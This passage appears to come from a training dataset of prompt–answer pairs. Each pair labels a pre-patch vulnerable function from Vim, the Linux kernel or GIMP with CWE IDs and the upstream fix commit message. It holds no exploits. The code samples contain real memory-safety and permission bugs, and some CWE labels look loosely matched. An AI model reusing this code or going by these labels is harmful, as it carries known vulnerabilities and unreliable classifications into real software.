vim_regexec(rmp, p, (colnr_T)0))\n\t\tmatch = name;\n\t vim_free(p);\n\t}\n }\n\n return match;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'patch 8.2.4901: NULL pointer access when using invalid pattern\n\nProblem: NULL pointer access when using invalid pattern.\nSolution: Check for failed regexp program.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline bool kdb_check_flags(kdb_cmdflags_t flags, int permissions,\n\t\t\t\t bool no_args)\n{\n\t/* permissions comes from userspace so needs massaging slightly */\n\tpermissions &= KDB_ENABLE_MASK;\n\tpermissions |= KDB_ENABLE_ALWAYS_SAFE;\n\n\t/* some commands change group when launched with no arguments */\n\tif (no_args)\n\t\tpermissions |= permissions << KDB_ENABLE_NO_ARGS_SHIFT;\n\n\tflags |= KDB_ENABLE_ALL;\n\n\treturn permissions & flags;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'lockdown: also lock down previous kgdb use\n\nKGDB and KDB allow read and write access to kernel memory, and thus\nshould be restricted during lockdown. An attacker with access to a\nserial port (for example, via a hypervisor console, which some cloud\nvendors provide over the network) could trigger the debugger so it is\nimportant that the debugger respect the lockdown mode when/if it is\ntriggered.\n\nFix this by integrating lockdown into kdb's existing permissions\nmechanism. Unfortunately kgdb does not have any permissions mechanism\n(although it certainly could be added later) so, for now, kgdb is simply\nand brutally disabled by immediately exiting the gdb stub without taking\nany action.\n\nFor lockdowns established early in the boot (e.g. the normal case) then\nthis should be fine but on systems where kgdb has set breakpoints before\nthe lockdown is enacted than \"bad things\" will happen.\n\nCVE: CVE-2022-21499\nCo-developed-by: Stephen Brennan \nSigned-off-by: Stephen Brennan \nReviewed-by: Douglas Anderson \nSigned-off-by: Daniel Thompson \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int nfc_register_device(struct nfc_dev *dev)\n{\n\tint rc;\n\n\tpr_debug(\"dev_name=%s\\n\", dev_name(&dev->dev));\n\n\tmutex_lock(&nfc_devlist_mutex);\n\tnfc_devlist_generation++;\n\trc = device_add(&dev->dev);\n\tmutex_unlock(&nfc_devlist_mutex);\n\n\tif (rc < 0)\n\t\treturn rc;\n\n\trc = nfc_llcp_register_device(dev);\n\tif (rc)\n\t\tpr_err(\"Could not register llcp device\\n\");\n\n\tdevice_lock(&dev->dev);\n\tdev->rfkill = rfkill_alloc(dev_name(&dev->dev), &dev->dev,\n\t\t\t\t RFKILL_TYPE_NFC, &nfc_rfkill_ops, dev);\n\tif (dev->rfkill) {\n\t\tif (rfkill_register(dev->rfkill) < 0) {\n\t\t\trfkill_destroy(dev->rfkill);\n\t\t\tdev->rfkill = NULL;\n\t\t}\n\t}\n\tdevice_unlock(&dev->dev);\n\n\trc = nfc_genl_device_added(dev);\n\tif (rc)\n\t\tpr_debug(\"The userspace won't be notified that the device %s was added\\n\",\n\t\t\t dev_name(&dev->dev));\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'nfc: replace improper check device_is_registered() in netlink related functions\n\nThe device_is_registered() in nfc core is used to check whether\nnfc device is registered in netlink related functions such as\nnfc_fw_download(), nfc_dev_up() and so on. Although device_is_registered()\nis protected by device_lock, there is still a race condition between\ndevice_del() and device_is_registered(). The root cause is that\nkobject_del() in device_del() is not protected by device_lock.\n\n (cleanup task) | (netlink task)\n |\nnfc_unregister_device | nfc_fw_download\n device_del | device_lock\n ... | if (!device_is_registered)//(1)\n kobject_del//(2) | ...\n ... | device_unlock\n\nThe device_is_registered() returns the value of state_in_sysfs and\nthe state_in_sysfs is set to zero in kobject_del(). If we pass check in\nposition (1), then set zero in position (2). As a result, the check\nin position (1) is useless.\n\nThis patch uses bool variable instead of device_is_registered() to judge\nwhether the nfc device is registered, which is well synchronized.\n\nFixes: 3e256b8f8dfa (\"NFC: add nfc subsystem core\")\nSigned-off-by: Duoming Zhou \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int ptrace_setoptions(struct task_struct *child, unsigned long data)\n{\n\tunsigned flags;\n\n\tif (data & ~(unsigned long)PTRACE_O_MASK)\n\t\treturn -EINVAL;\n\n\tif (unlikely(data & PTRACE_O_SUSPEND_SECCOMP)) {\n\t\tif (!IS_ENABLED(CONFIG_CHECKPOINT_RESTORE) ||\n\t\t !IS_ENABLED(CONFIG_SECCOMP))\n\t\t\treturn -EINVAL;\n\n\t\tif (!capable(CAP_SYS_ADMIN))\n\t\t\treturn -EPERM;\n\n\t\tif (seccomp_mode(¤t->seccomp) != SECCOMP_MODE_DISABLED ||\n\t\t current->ptrace & PT_SUSPEND_SECCOMP)\n\t\t\treturn -EPERM;\n\t}\n\n\t/* Avoid intermediate state when all opts are cleared */\n\tflags = child->ptrace;\n\tflags &= ~(PTRACE_O_MASK << PT_OPT_FLAG_SHIFT);\n\tflags |= (data << PT_OPT_FLAG_SHIFT);\n\tchild->ptrace = flags;\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-276', 'CWE-703', 'CWE-863'], 'message': 'ptrace: Check PTRACE_O_SUSPEND_SECCOMP permission on PTRACE_SEIZE\n\nSetting PTRACE_O_SUSPEND_SECCOMP is supposed to be a highly privileged\noperation because it allows the tracee to completely bypass all seccomp\nfilters on kernels with CONFIG_CHECKPOINT_RESTORE=y. It is only supposed to\nbe settable by a process with global CAP_SYS_ADMIN, and only if that\nprocess is not subject to any seccomp filters at all.\n\nHowever, while these permission checks were done on the PTRACE_SETOPTIONS\npath, they were missing on the PTRACE_SEIZE path, which also sets\nuser-specified ptrace flags.\n\nMove the permissions checks out into a helper function and let both\nptrace_attach() and ptrace_setoptions() call it.\n\nCc: stable@kernel.org\nFixes: 13c4a90119d2 (\"seccomp: add ptrace options for suspend/resume\")\nSigned-off-by: Jann Horn \nLink: https://lkml.kernel.org/r/20220319010838.1386861-1-jannh@google.com\nSigned-off-by: Eric W. Biederman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xcf_load_old_path (XcfInfo *info,\n GimpImage *image)\n{\n gchar *name;\n guint32 locked;\n guint8 state;\n guint32 closed;\n guint32 num_points;\n guint32 version; /* changed from num_paths */\n GimpTattoo tattoo = 0;\n GimpVectors *vectors;\n GimpVectorsCompatPoint *points;\n gint i;\n\n xcf_read_string (info, &name, 1);\n xcf_read_int32 (info, &locked, 1);\n xcf_read_int8 (info, &state, 1);\n xcf_read_int32 (info, &closed, 1);\n xcf_read_int32 (info, &num_points, 1);\n xcf_read_int32 (info, &version, 1);\n\n if (version == 2)\n {\n guint32 dummy;\n\n /* Had extra type field and points are stored as doubles */\n xcf_read_int32 (info, (guint32 *) &dummy, 1);\n }\n else if (version == 3)\n {\n guint32 dummy;\n\n /* Has extra tattoo field */\n xcf_read_int32 (info, (guint32 *) &dummy, 1);\n xcf_read_int32 (info, (guint32 *) &tattoo, 1);\n }\n else if (version != 1)\n {\n g_printerr (\"Unknown path type. Possibly corrupt XCF file\");\n\n g_free (name);\n return FALSE;\n }\n\n /* skip empty compatibility paths */\n if (num_points == 0)\n {\n g_free (name);\n return FALSE;\n }\n\n points = g_new0 (GimpVectorsCompatPoint, num_points);\n\n for (i = 0; i < num_points; i++)\n {\n if (version == 1)\n {\n gint32 x;\n gint32 y;\n\n xcf_read_int32 (info, &points[i].type, 1);\n xcf_read_int32 (info, (guint32 *) &x, 1);\n xcf_read_int32 (info, (guint32 *) &y, 1);\n\n points[i].x = x;\n points[i].y = y;\n }\n else\n {\n gfloat x;\n gfloat y;\n\n xcf_read_int32 (info, &points[i].type, 1);\n xcf_read_float (info, &x, 1);\n xcf_read_float (info, &y, 1);\n\n points[i].x = x;\n points[i].y = y;\n }\n }\n\n vectors = gimp_vectors_compat_new (image, name, points, num_points, closed);\n\n g_free (name);\n g_free (points);\n\n if (locked)\n info->linked_paths = g_list_prepend (info->linked_paths, vectors);\n\n if (tattoo)\n gimp_item_set_tattoo (GIMP_ITEM (vectors), tattoo);\n\n gimp_image_add_vectors (image, vectors,\n NULL, /* can't be a tree */\n gimp_container_get_n_children (gimp_image_get_vectors (image)),\n FALSE);\n\n return TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'app: fix #8120 GIMP 2.10.30 crashed when allocate large memory\n\nGIMP could crash if the information regarding old path properties read\nfrom XCF was incorrect. It did not check if xcf_old_path succeeded and\nkept trying to load more paths even if the last one failed to load.\n\nInstead we now stop loading paths as soon as that function fails.\nIn case we have a failure here we also try to skip to the next property\nbased on the size of the path property, in hopes that the only problem\nwas this property.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ex_substitute(exarg_T *eap)\n{\n linenr_T\tlnum;\n long\ti = 0;\n regmmatch_T regmatch;\n static subflags_T subflags = {FALSE, FALSE, FALSE, TRUE, FALSE,\n\t\t\t\t\t\t\t FALSE, FALSE, 0};\n#ifdef FEAT_EVAL\n subflags_T\tsubflags_save;\n#endif\n int\t\tsave_do_all;\t\t// remember user specified 'g' flag\n int\t\tsave_do_ask;\t\t// remember user specified 'c' flag\n char_u\t*pat = NULL, *sub = NULL;\t// init for GCC\n char_u\t*sub_copy = NULL;\n int\t\tdelimiter;\n int\t\tsublen;\n int\t\tgot_quit = FALSE;\n int\t\tgot_match = FALSE;\n int\t\ttemp;\n int\t\twhich_pat;\n char_u\t*cmd;\n int\t\tsave_State;\n linenr_T\tfirst_line = 0;\t\t// first changed line\n linenr_T\tlast_line= 0;\t\t// below last changed line AFTER the\n\t\t\t\t\t// change\n linenr_T\told_line_count = curbuf->b_ml.ml_line_count;\n linenr_T\tline2;\n long\tnmatch;\t\t\t// number of lines in match\n char_u\t*sub_firstline;\t\t// allocated copy of first sub line\n int\t\tendcolumn = FALSE;\t// cursor in last column when done\n pos_T\told_cursor = curwin->w_cursor;\n int\t\tstart_nsubs;\n#ifdef FEAT_EVAL\n int\t\tsave_ma = 0;\n#endif\n\n cmd = eap->arg;\n if (!global_busy)\n {\n\tsub_nsubs = 0;\n\tsub_nlines = 0;\n }\n start_nsubs = sub_nsubs;\n\n if (eap->cmdidx == CMD_tilde)\n\twhich_pat = RE_LAST;\t// use last used regexp\n else\n\twhich_pat = RE_SUBST;\t// use last substitute regexp\n\n\t\t\t\t// new pattern and substitution\n if (eap->cmd[0] == 's' && *cmd != NUL && !VIM_ISWHITE(*cmd)\n\t\t&& vim_strchr((char_u *)\"0123456789cegriIp|\\\"\", *cmd) == NULL)\n {\n\t\t\t\t// don't accept alphanumeric for separator\n\tif (check_regexp_delim(*cmd) == FAIL)\n\t return;\n#ifdef FEAT_EVAL\n\tif (in_vim9script() && check_global_and_subst(eap->cmd, eap->arg)\n\t\t\t\t\t\t\t\t == FAIL)\n\t return;\n#endif\n\n\t/*\n\t * undocumented vi feature:\n\t * \"\\/sub/\" and \"\\?sub?\" use last used search pattern (almost like\n\t * //sub/r). \"\\&sub&\" use last substitute pattern (like //sub/).\n\t */\n\tif (*cmd == '\\\\')\n\t{\n\t if (in_vim9script())\n\t {\n\t\temsg(_(e_cannot_use_s_backslash_in_vim9_script));\n\t\treturn;\n\t }\n\t ++cmd;\n\t if (vim_strchr((char_u *)\"/?&\", *cmd) == NULL)\n\t {\n\t\temsg(_(e_backslash_should_be_followed_by));\n\t\treturn;\n\t }\n\t if (*cmd != '&')\n\t\twhich_pat = RE_SEARCH;\t // use last '/' pattern\n\t pat = (char_u *)\"\";\t\t // empty search pattern\n\t delimiter = *cmd++;\t\t // remember delimiter character\n\t}\n\telse\t\t// find the end of the regexp\n\t{\n\t which_pat = RE_LAST;\t // use last used regexp\n\t delimiter = *cmd++;\t\t // remember delimiter character\n\t pat = cmd;\t\t\t // remember start of search pat\n\t cmd = skip_regexp_ex(cmd, delimiter, magic_isset(),\n\t\t\t\t\t\t\t&eap->arg, NULL, NULL);\n\t if (cmd[0] == delimiter)\t // end delimiter found\n\t\t*cmd++ = NUL;\t\t // replace it with a NUL\n\t}\n\n\t/*\n\t * Small incompatibility: vi sees '\\n' as end of the command, but in\n\t * Vim we want to use '\\n' to find/substitute a NUL.\n\t */\n\tsub = cmd;\t // remember the start of the substitution\n\tcmd = skip_substitute(cmd, delimiter);\n\n\tif (!eap->skip)\n\t{\n\t // In POSIX vi \":s/pat/%/\" uses the previous subst. string.\n\t if (STRCMP(sub, \"%\") == 0\n\t\t\t\t && vim_strchr(p_cpo, CPO_SUBPERCENT) != NULL)\n\t {\n\t\tif (old_sub == NULL)\t// there is no previous command\n\t\t{\n\t\t emsg(_(e_no_previous_substitute_regular_expression));\n\t\t return;\n\t\t}\n\t\tsub = old_sub;\n\t }\n\t else\n\t {\n\t\tvim_free(old_sub);\n\t\told_sub = vim_strsave(sub);\n\t }\n\t}\n }\n else if (!eap->skip)\t// use previous pattern and substitution\n {\n\tif (old_sub == NULL)\t// there is no previous command\n\t{\n\t emsg(_(e_no_previous_substitute_regular_expression));\n\t return;\n\t}\n\tpat = NULL;\t\t// search_regcomp() will use previous pattern\n\tsub = old_sub;\n\n\t// Vi compatibility quirk: repeating with \":s\" keeps the cursor in the\n\t// last column after using \"$\".\n\tendcolumn = (curwin->w_curswant == MAXCOL);\n }\n\n // Recognize \":%s/\\n//\" and turn it into a join command, which is much\n // more efficient.\n // TODO: find a generic solution to make line-joining operations more\n // efficient, avoid allocating a string that grows in size.\n if (pat != NULL && STRCMP(pat, \"\\\\n\") == 0\n\t && *sub == NUL\n\t && (*cmd == NUL || (cmd[1] == NUL && (*cmd == 'g' || *cmd == 'l'\n\t\t\t\t\t || *cmd == 'p' || *cmd == '#'))))\n {\n\tlinenr_T joined_lines_count;\n\n\tif (eap->skip)\n\t return;\n\tcurwin->w_cursor.lnum = eap->line1;\n\tif (*cmd == 'l')\n\t eap->flags = EXFLAG_LIST;\n\telse if (*cmd == '#')\n\t eap->flags = EXFLAG_NR;\n\telse if (*cmd == 'p')\n\t eap->flags = EXFLAG_PRINT;\n\n\t// The number of lines joined is the number of lines in the range plus\n\t// one. One less when the last line is included.\n\tjoined_lines_count = eap->line2 - eap->line1 + 1;\n\tif (eap->line2 < curbuf->b_ml.ml_line_count)\n\t ++joined_lines_count;\n\tif (joined_lines_count > 1)\n\t{\n\t (void)do_join(joined_lines_count, FALSE, TRUE, FALSE, TRUE);\n\t sub_nsubs = joined_lines_count - 1;\n\t sub_nlines = 1;\n\t (void)do_sub_msg(FALSE);\n\t ex_may_print(eap);\n\t}\n\n\tif ((cmdmod.cmod_flags & CMOD_KEEPPATTERNS) == 0)\n\t save_re_pat(RE_SUBST, pat, magic_isset());\n\t// put pattern in history\n\tadd_to_history(HIST_SEARCH, pat, TRUE, NUL);\n\n\treturn;\n }\n\n /*\n * Find trailing options. When '&' is used, keep old options.\n */\n if (*cmd == '&')\n\t++cmd;\n else\n {\n#ifdef FEAT_EVAL\n\tif (in_vim9script())\n\t{\n\t // ignore 'gdefault' and 'edcompatible'\n\t subflags.do_all = FALSE;\n\t subflags.do_ask = FALSE;\n\t}\n\telse\n#endif\n\tif (!p_ed)\n\t{\n\t if (p_gd)\t\t// default is global on\n\t\tsubflags.do_all = TRUE;\n\t else\n\t\tsubflags.do_all = FALSE;\n\t subflags.do_ask = FALSE;\n\t}\n\tsubflags.do_error = TRUE;\n\tsubflags.do_print = FALSE;\n\tsubflags.do_list = FALSE;\n\tsubflags.do_count = FALSE;\n\tsubflags.do_number = FALSE;\n\tsubflags.do_ic = 0;\n }\n while (*cmd)\n {\n\t/*\n\t * Note that 'g' and 'c' are always inverted, also when p_ed is off.\n\t * 'r' is never inverted.\n\t */\n\tif (*cmd == 'g')\n\t subflags.do_all = !subflags.do_all;\n\telse if (*cmd == 'c')\n\t subflags.do_ask = !subflags.do_ask;\n\telse if (*cmd == 'n')\n\t subflags.do_count = TRUE;\n\telse if (*cmd == 'e')\n\t subflags.do_error = !subflags.do_error;\n\telse if (*cmd == 'r')\t // use last used regexp\n\t which_pat = RE_LAST;\n\telse if (*cmd == 'p')\n\t subflags.do_print = TRUE;\n\telse if (*cmd == '#')\n\t{\n\t subflags.do_print = TRUE;\n\t subflags.do_number = TRUE;\n\t}\n\telse if (*cmd == 'l')\n\t{\n\t subflags.do_print = TRUE;\n\t subflags.do_list = TRUE;\n\t}\n\telse if (*cmd == 'i')\t // ignore case\n\t subflags.do_ic = 'i';\n\telse if (*cmd == 'I')\t // don't ignore case\n\t subflags.do_ic = 'I';\n\telse\n\t break;\n\t++cmd;\n }\n if (subflags.do_count)\n\tsubflags.do_ask = FALSE;\n\n save_do_all = subflags.do_all;\n save_do_ask = subflags.do_ask;\n\n /*\n * check for a trailing count\n */\n cmd = skipwhite(cmd);\n if (VIM_ISDIGIT(*cmd))\n {\n\ti = getdigits(&cmd);\n\tif (i <= 0 && !eap->skip && subflags.do_error)\n\t{\n\t emsg(_(e_positive_count_required));\n\t return;\n\t}\n\teap->line1 = eap->line2;\n\teap->line2 += i - 1;\n\tif (eap->line2 > curbuf->b_ml.ml_line_count)\n\t eap->line2 = curbuf->b_ml.ml_line_count;\n }\n\n /*\n * check for trailing command or garbage\n */\n cmd = skipwhite(cmd);\n if (*cmd && *cmd != '\"')\t // if not end-of-line or comment\n {\n\tset_nextcmd(eap, cmd);\n\tif (eap->nextcmd == NULL)\n\t{\n\t semsg(_(e_trailing_characters_str), cmd);\n\t return;\n\t}\n }\n\n if (eap->skip)\t // not executing commands, only parsing\n\treturn;\n\n if (!subflags.do_count && !curbuf->b_p_ma)\n {\n\t// Substitution is not allowed in non-'modifiable' buffer\n\temsg(_(e_cannot_make_changes_modifiable_is_off));\n\treturn;\n }\n\n if (search_regcomp(pat, RE_SUBST, which_pat, SEARCH_HIS, ®match) == FAIL)\n {\n\tif (subflags.do_error)\n\t emsg(_(e_invalid_command));\n\treturn;\n }\n\n // the 'i' or 'I' flag overrules 'ignorecase' and 'smartcase'\n if (subflags.do_ic == 'i')\n\tregmatch.rmm_ic = TRUE;\n else if (subflags.do_ic == 'I')\n\tregmatch.rmm_ic = FALSE;\n\n sub_firstline = NULL;\n\n /*\n * If the substitute pattern starts with \"\\=\" then it's an expression.\n * Make a copy, a recursive function may free it.\n * Otherwise, '~' in the substitute pattern is replaced with the old\n * pattern. We do it here once to avoid it to be replaced over and over\n * again.\n */\n if (sub[0] == '\\\\' && sub[1] == '=')\n {\n\tsub = vim_strsave(sub);\n\tif (sub == NULL)\n\t return;\n\tsub_copy = sub;\n }\n else\n\tsub = regtilde(sub, magic_isset());\n\n /*\n * Check for a match on each line.\n */\n line2 = eap->line2;\n for (lnum = eap->line1; lnum <= line2 && !(got_quit\n#if defined(FEAT_EVAL)\n\t\t|| aborting()\n#endif\n\t\t); ++lnum)\n {\n\tnmatch = vim_regexec_multi(®match, curwin, curbuf, lnum,\n\t\t\t\t\t\t (colnr_T)0, NULL, NULL);\n\tif (nmatch)\n\t{\n\t colnr_T\tcopycol;\n\t colnr_T\tmatchcol;\n\t colnr_T\tprev_matchcol = MAXCOL;\n\t char_u\t*new_end, *new_start = NULL;\n\t unsigned\tnew_start_len = 0;\n\t char_u\t*p1;\n\t int\t\tdid_sub = FALSE;\n\t int\t\tlastone;\n\t int\t\tlen, copy_len, needed_len;\n\t long\tnmatch_tl = 0;\t// nr of lines matched below lnum\n\t int\t\tdo_again;\t// do it again after joining lines\n\t int\t\tskip_match = FALSE;\n\t linenr_T\tsub_firstlnum;\t// nr of first sub line\n#ifdef FEAT_PROP_POPUP\n\t int\t\tapc_flags = APC_SAVE_FOR_UNDO | APC_SUBSTITUTE;\n\t colnr_T\ttotal_added = 0;\n#endif\n\n\t /*\n\t * The new text is build up step by step, to avoid too much\n\t * copying. There are these pieces:\n\t * sub_firstline\tThe old text, unmodified.\n\t * copycol\t\tColumn in the old text where we started\n\t *\t\t\tlooking for a match; from here old text still\n\t *\t\t\tneeds to be copied to the new text.\n\t * matchcol\t\tColumn number of the old text where to look\n\t *\t\t\tfor the next match. It's just after the\n\t *\t\t\tprevious match or one further.\n\t * prev_matchcol\tColumn just after the previous match (if any).\n\t *\t\t\tMostly equal to matchcol, except for the first\n\t *\t\t\tmatch and after skipping an empty match.\n\t * regmatch.*pos\tWhere the pattern matched in the old text.\n\t * new_start\tThe new text, all that has been produced so\n\t *\t\t\tfar.\n\t * new_end\t\tThe new text, where to append new text.\n\t *\n\t * lnum\t\tThe line number where we found the start of\n\t *\t\t\tthe match. Can be below the line we searched\n\t *\t\t\twhen there is a \\n before a \\zs in the\n\t *\t\t\tpattern.\n\t * sub_firstlnum\tThe line number in the buffer where to look\n\t *\t\t\tfor a match. Can be different from \"lnum\"\n\t *\t\t\twhen the pattern or substitute string contains\n\t *\t\t\tline breaks.\n\t *\n\t * Special situations:\n\t * - When the substitute string contains a line break, the part up\n\t * to the line break is inserted in the text, but the copy of\n\t * the original line is kept. \"sub_firstlnum\" is adjusted for\n\t * the inserted lines.\n\t * - When the matched pattern contains a line break, the old line\n\t * is taken from the line at the end of the pattern. The lines\n\t * in the match are deleted later, \"sub_firstlnum\" is adjusted\n\t * accordingly.\n\t *\n\t * The new text is built up in new_start[]. It has some extra\n\t * room to avoid using alloc()/free() too often. new_start_len is\n\t * the length of the allocated memory at new_start.\n\t *\n\t * Make a copy of the old line, so it won't be taken away when\n\t * updating the screen or handling a multi-line match. The \"old_\"\n\t * pointers point into this copy.\n\t */\n\t sub_firstlnum = lnum;\n\t copycol = 0;\n\t matchcol = 0;\n\n\t // At first match, remember current cursor position.\n\t if (!got_match)\n\t {\n\t\tsetpcmark();\n\t\tgot_match = TRUE;\n\t }\n\n\t /*\n\t * Loop until nothing more to replace in this line.\n\t * 1. Handle match with empty string.\n\t * 2. If do_ask is set, ask for confirmation.\n\t * 3. substitute the string.\n\t * 4. if do_all is set, find next match\n\t * 5. break if there isn't another match in this line\n\t */\n\t for (;;)\n\t {\n\t\t// Advance \"lnum\" to the line where the match starts. The\n\t\t// match does not start in the first line when there is a line\n\t\t// break before \\zs.\n\t\tif (regmatch.startpos[0].lnum > 0)\n\t\t{\n\t\t lnum += regmatch.startpos[0].lnum;\n\t\t sub_firstlnum += regmatch.startpos[0].lnum;\n\t\t nmatch -= regmatch.startpos[0].lnum;\n\t\t VIM_CLEAR(sub_firstline);\n\t\t}\n\n\t\t// Match might be after the last line for \"\\n\\zs\" matching at\n\t\t// the end of the last line.\n\t\tif (lnum > curbuf->b_ml.ml_line_count)\n\t\t break;\n\n\t\tif (sub_firstline == NULL)\n\t\t{\n\t\t sub_firstline = vim_strsave(ml_get(sub_firstlnum));\n\t\t if (sub_firstline == NULL)\n\t\t {\n\t\t\tvim_free(new_start);\n\t\t\tgoto outofmem;\n\t\t }\n\t\t}\n\n\t\t// Save the line number of the last change for the final\n\t\t// cursor position (just like Vi).\n\t\tcurwin->w_cursor.lnum = lnum;\n\t\tdo_again = FALSE;\n\n\t\t/*\n\t\t * 1. Match empty string does not count, except for first\n\t\t * match. This reproduces the strange vi behaviour.\n\t\t * This also catches endless loops.\n\t\t */\n\t\tif (matchcol == prev_matchcol\n\t\t\t&& regmatch.endpos[0].lnum == 0\n\t\t\t&& matchcol == regmatch.endpos[0].col)\n\t\t{\n\t\t if (sub_firstline[matchcol] == NUL)\n\t\t\t// We already were at the end of the line. Don't look\n\t\t\t// for a match in this line again.\n\t\t\tskip_match = TRUE;\n\t\t else\n\t\t {\n\t\t\t // search for a match at next column\n\t\t\tif (has_mbyte)\n\t\t\t matchcol += mb_ptr2len(sub_firstline + matchcol);\n\t\t\telse\n\t\t\t ++matchcol;\n\t\t }\n\t\t goto skip;\n\t\t}\n\n\t\t// Normally we continue searching for a match just after the\n\t\t// previous match.\n\t\tmatchcol = regmatch.endpos[0].col;\n\t\tprev_matchcol = matchcol;\n\n\t\t/*\n\t\t * 2. If do_count is set only increase the counter.\n\t\t * If do_ask is set, ask for confirmation.\n\t\t */\n\t\tif (subflags.do_count)\n\t\t{\n\t\t // For a multi-line match, put matchcol at the NUL at\n\t\t // the end of the line and set nmatch to one, so that\n\t\t // we continue looking for a match on the next line.\n\t\t // Avoids that \":s/\\nB\\@=//gc\" get stuck.\n\t\t if (nmatch > 1)\n\t\t {\n\t\t\tmatchcol = (colnr_T)STRLEN(sub_firstline);\n\t\t\tnmatch = 1;\n\t\t\tskip_match = TRUE;\n\t\t }\n\t\t sub_nsubs++;\n\t\t did_sub = TRUE;\n#ifdef FEAT_EVAL\n\t\t // Skip the substitution, unless an expression is used,\n\t\t // then it is evaluated in the sandbox.\n\t\t if (!(sub[0] == '\\\\' && sub[1] == '='))\n#endif\n\t\t\tgoto skip;\n\t\t}\n\n\t\tif (subflags.do_ask)\n\t\t{\n\t\t int typed = 0;\n\n\t\t // change State to MODE_CONFIRM, so that the mouse works\n\t\t // properly\n\t\t save_State = State;\n\t\t State = MODE_CONFIRM;\n\t\t setmouse();\t\t// disable mouse in xterm\n\t\t curwin->w_cursor.col = regmatch.startpos[0].col;\n\t\t if (curwin->w_p_crb)\n\t\t\tdo_check_cursorbind();\n\n\t\t // When 'cpoptions' contains \"u\" don't sync undo when\n\t\t // asking for confirmation.\n\t\t if (vim_strchr(p_cpo, CPO_UNDO) != NULL)\n\t\t\t++no_u_sync;\n\n\t\t /*\n\t\t * Loop until 'y', 'n', 'q', CTRL-E or CTRL-Y typed.\n\t\t */\n\t\t while (subflags.do_ask)\n\t\t {\n\t\t\tif (exmode_active)\n\t\t\t{\n\t\t\t char_u\t*resp;\n\t\t\t colnr_T\tsc, ec;\n\n\t\t\t print_line_no_prefix(lnum,\n\t\t\t\t\t subflags.do_number, subflags.do_list);\n\n\t\t\t getvcol(curwin, &curwin->w_cursor, &sc, NULL, NULL);\n\t\t\t curwin->w_cursor.col = regmatch.endpos[0].col - 1;\n\t\t\t if (curwin->w_cursor.col < 0)\n\t\t\t\tcurwin->w_cursor.col = 0;\n\t\t\t getvcol(curwin, &curwin->w_cursor, NULL, NULL, &ec);\n\t\t\t curwin->w_cursor.col = regmatch.startpos[0].col;\n\t\t\t if (subflags.do_number || curwin->w_p_nu)\n\t\t\t {\n\t\t\t\tint numw = number_width(curwin) + 1;\n\t\t\t\tsc += numw;\n\t\t\t\tec += numw;\n\t\t\t }\n\t\t\t msg_start();\n\t\t\t for (i = 0; i < (long)sc; ++i)\n\t\t\t\tmsg_putchar(' ');\n\t\t\t for ( ; i <= (long)ec; ++i)\n\t\t\t\tmsg_putchar('^');\n\n\t\t\t resp = getexmodeline('?', NULL, 0, TRUE);\n\t\t\t if (resp != NULL)\n\t\t\t {\n\t\t\t\ttyped = *resp;\n\t\t\t\tvim_free(resp);\n\t\t\t\t// When \":normal\" runs out of characters we get\n\t\t\t\t// an empty line. Use \"q\" to get out of the\n\t\t\t\t// loop.\n\t\t\t\tif (ex_normal_busy && typed == NUL)\n\t\t\t\t typed = 'q';\n\t\t\t }\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t char_u *orig_line = NULL;\n\t\t\t int len_change = 0;\n\t\t\t int\t save_p_lz = p_lz;\n#ifdef FEAT_FOLDING\n\t\t\t int save_p_fen = curwin->w_p_fen;\n\n\t\t\t curwin->w_p_fen = FALSE;\n#endif\n\t\t\t // Invert the matched string.\n\t\t\t // Remove the inversion afterwards.\n\t\t\t temp = RedrawingDisabled;\n\t\t\t RedrawingDisabled = 0;\n\n\t\t\t // avoid calling update_screen() in vgetorpeek()\n\t\t\t p_lz = FALSE;\n\n\t\t\t if (new_start != NULL)\n\t\t\t {\n\t\t\t\t// There already was a substitution, we would\n\t\t\t\t// like to show this to the user. We cannot\n\t\t\t\t// really update the line, it would change\n\t\t\t\t// what matches. Temporarily replace the line\n\t\t\t\t// and change it back afterwards.\n\t\t\t\torig_line = vim_strsave(ml_get(lnum));\n\t\t\t\tif (orig_line != NULL)\n\t\t\t\t{\n\t\t\t\t char_u *new_line = concat_str(new_start,\n\t\t\t\t\t\t sub_firstline + copycol);\n\n\t\t\t\t if (new_line == NULL)\n\t\t\t\t\tVIM_CLEAR(orig_line);\n\t\t\t\t else\n\t\t\t\t {\n\t\t\t\t\t// Position the cursor relative to the\n\t\t\t\t\t// end of the line, the previous\n\t\t\t\t\t// substitute may have inserted or\n\t\t\t\t\t// deleted characters before the\n\t\t\t\t\t// cursor.\n\t\t\t\t\tlen_change = (int)STRLEN(new_line)\n\t\t\t\t\t\t - (int)STRLEN(orig_line);\n\t\t\t\t\tcurwin->w_cursor.col += len_change;\n\t\t\t\t\tml_replace(lnum, new_line, FALSE);\n\t\t\t\t }\n\t\t\t\t}\n\t\t\t }\n\n\t\t\t search_match_lines = regmatch.endpos[0].lnum\n\t\t\t\t\t\t - regmatch.startpos[0].lnum;\n\t\t\t 